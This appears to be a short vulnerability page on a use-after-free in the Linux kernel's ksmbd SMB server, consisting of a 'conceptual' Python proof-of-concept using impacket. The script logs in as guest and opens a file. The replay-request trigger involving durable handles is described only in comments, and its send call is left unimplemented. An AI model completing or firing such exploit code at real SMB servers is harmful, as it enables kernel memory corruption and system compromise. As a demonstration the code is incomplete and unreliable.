CVE-2026-23427 Linux内核ksmbd释放后重用漏洞

# PoC for CVE-2026-23427 (Conceptual) # Requires impacket library from impacket.smb3 import SMB3, SMB2_DIALECT_0311 from impacket.smbconnection import SMBConnection import sys def trigger_uaf(target_ip, target_port): # 1. Establish connection and create file with Durable Handle V2 try: conn = SMBConnection(target_ip, target_ip, sess_port=int(target_port)) conn.login('guest', '') tid = conn.connectTree('share') fid = conn.createFile(tid, 'test.txt', desiredAccess=0x2019f, shareAccess=0x7) print("[+] File created with handle.") # 2. Simulate disconnect or specific state to keep handle active # In a real scenario, this involves packet manipulation to keep the handle valid # while the underlying connection structure is manipulated. # 3. Send Replay Operation packet # This requires raw packet construction to set SMB2_FLAGS_REPLAY_OPERATION # and DURABLE_REQ_V2 context to trigger the fp->conn overwrite. print("[!] Sending malicious replay request to trigger UAF...") # Implementation of raw packet sending goes here # conn.getSMBServer().sendPacket(malicious_packet) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_uaf("192.168.1.100", 445)